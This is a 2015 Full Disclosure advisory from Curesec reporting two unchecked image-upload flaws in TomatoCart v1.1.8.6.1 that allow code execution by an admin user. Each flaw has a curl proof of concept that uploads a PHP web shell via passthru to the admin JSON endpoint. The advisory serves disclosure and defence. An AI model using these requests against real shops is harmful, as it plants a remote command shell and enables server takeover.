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Message-ID: <0MPXsH-1a1xUM3zHN-004hSz@mrelayeu.kundenserver.de> Date: Fri, 13 Nov 2015 16:52:46 +0100 From: "Curesec Research Team (CRT)" <crt@...esec.com> To: fulldisclosure@...lists.org Subject: [FD] TomatoCart v1.1.8.6.1: Code Execution Security Advisory - Curesec Research Team 1. Introduction Affected Product: TomatoCart v1.1.8.6.1 Fixed in: not fixed Fixed Version Link: n/a Vendor Contact: support@...atocart.com Vulnerability Type: Code Execution Remote Exploitable: Yes Reported to vendor: 09/29/2015 Disclosed to public: 11/13/2015 Release mode: Full Disclosure CVE: n/a Credits Tim Coen of Curesec GmbH 2. Overview TomatoCart has multiple locations where the upload of images is allowed. In two of these locations, the file type and extension of the uploaded file are not checked, which leads to code execution. Please note that an admin account with at least some privileges is required to exploit this issue. 3. Code Execution 1 CVSS High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C Description When uploading a new slide image, there are no checks as to what type the uploaded image actually is. Because of this, an attacker that gained admin credentials can upload a PHP file and thus gain code execution. The rights needed are Content -> Slide Images. Proof of Concept curl -i -s -k -X 'POST' \ -H 'Content-Type: multipart/form-data; boundary=--------1106460043' \ -b 'toCAdminID=4tfpeotn6bp65cm70mcekauhk1; PHPSESSID=6hioh2kisld85o5f3qo3e5gf86' \ --data-binary $'----------1106460043\x0d\x0aContent-Disposition: form-data; name=\"image1\"; filename=\"test2.php\"\x0d\x0aContent-Type: application/x-php\x0d\x0a\x0d\x0a<?php \x0apassthru($_GET[\'x\']);\x0a\x0d\x0a----------1106460043\x0d\x0aContent-Disposition: form-data; name=\"module\"\x0d\x0a\x0d\x0aslide_images\x0d\x0a----------1106460043\x0d\x0aContent-Disposition: form-data; name=\"action\"\x0d\x0a\x0d\x0asave_slide_images\x0d\x0a----------1106460043\x0d\x0aContent-Disposition: form-data; name=\"token\"\x0d\x0a\x0d\x0a0842b57bd667e448f494c7f6c268d4f3\x0d\x0a----------1106460043--\x0d\x0a' \ 'http://localhost/ecommerce/TomatoCart-v1-released-v1.1.8.6.1/admin/json.php' 3. Code Execution 2 CVSS High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C Description When uploading a new product image, there are no checks as to what type the uploaded image actually is. Because of this, an attacker that gained admin credentials can upload a PHP file and thus gain code execution. The rights needed are Content -> Products. Proof of Concept curl -i -s -k -X 'POST' \ -H 'Content-Type: multipart/form-data; boundary=--------1775010584' \ -b 'toCAdminID=4tfpeotn6bp65cm70mcekauhk1; PHPSESSID=6hioh2kisld85o5f3qo3e5gf86' \ --data-binary $'----------1775010584\x0d\x0aContent-Disposition: form-data; name=\"APC_UPLOAD_PROGRESS\"\x0d\x0a\x0d\x0a5305684637\x0d\x0a----------1775010584\x0d\x0aContent-Disposition: form-data; name=\"UPLOAD_IDENTIFIER\"\x0d\x0a\x0d\x0a5305684637\x0d\x0a----------1775010584\x0d\x0aContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\x0d\x0a\x0d\x0a4194304\x0d\x0a----------1775010584\x0d\x0aContent-Disposition: form-data; name=\"ext-gen4881\"; filename=\"test.php\"\x0d\x0aContent-Type: application/x-php\x0d\x0a\x0d\x0a<?php \x0apassthru($_GET[\'x\']);\x0a\x0d\x0a----------1775010584\x0d\x0aContent-Disposition: form-data; name=\"path\"\x0d\x0a\x0d\x0a\x0d\x0d\x0a----------1775010584\x0d\x0aContent-Disposition: form-data; name=\"cmd\"\x0d\x0a\x0d\x0aupload\x0d\x0a----------1775010584\x0d\x0aContent-Disposition: form-data; name=\"dir\"\x0d\x0a\x0d\x0a.\x0d\x0a----------1775010584\x0d\x0aContent-Disposition: form-data; name=\"token\"\x0d\x0a\x0d\x0a0842b57bd667e448f494c7f6c268d4f3\x 0d\x0a----------1775010584--\x0d\x0a' \ 'http://localhost/ecommerce/TomatoCart-v1-released-v1.1.8.6.1/admin/json.php?module=products&action=upload_image' 5. Solution This issue has not been fixed by the vendor 6. Report Timeline 09/29/2015 Informed Vendor about Issue (no reply) 10/21/2015 Reminded Vendor of Disclosure Date (no reply) 11/13/2015 Disclosed to public Blog Reference: http://blog.curesec.com/article/blog/TomatoCart-v11861-Code-Execution-88.html _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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